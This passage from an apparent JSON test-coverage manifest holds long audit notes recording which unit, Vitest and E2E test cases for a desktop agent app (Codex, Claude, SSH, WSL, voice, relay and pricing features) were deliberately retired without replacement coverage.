coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1579 removes workflow/manifest/regex/private binary-header and diagnostic metric inventories, fixture selectors, injected forwarding/platform/signature/process examples, unproven overlap and internal churn counters without equivalent replacement coverage. Retains actual Git trust/diffs; filesystem hash/ELF-region/native discovery; child CLI module repair; compiler/lock/publication/rollback and synthetic Electron install/cache ownership; executable shell quoting/exit; controlled notary/timer cleanup; local patched extractor file/AST freshness; real Chromium/WebKit CSP/sandbox/HTTPS image/referrer/link/preservation controls under parsed Android headers. Five unchanged setup-pnpm/VM request-cleanup definitions reviewed and not rerun. GitHub, installer/archive, OS metric, client, native delegate, compressor, builder and Apple boundaries injected or absent where recorded. No actual native PTY, shipped full/native app, real Actions/cache/npm signature authority, downloaded Electron archive, real objdump/linker/native CLI/AppImage, signing/NSIS/notary/upload/updater or live freeze proof. Historical scope before this audit: Published Linux 1.4.188 desktop against current source in both directions; scheduled weekly and manually runnable. No required PR check.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY 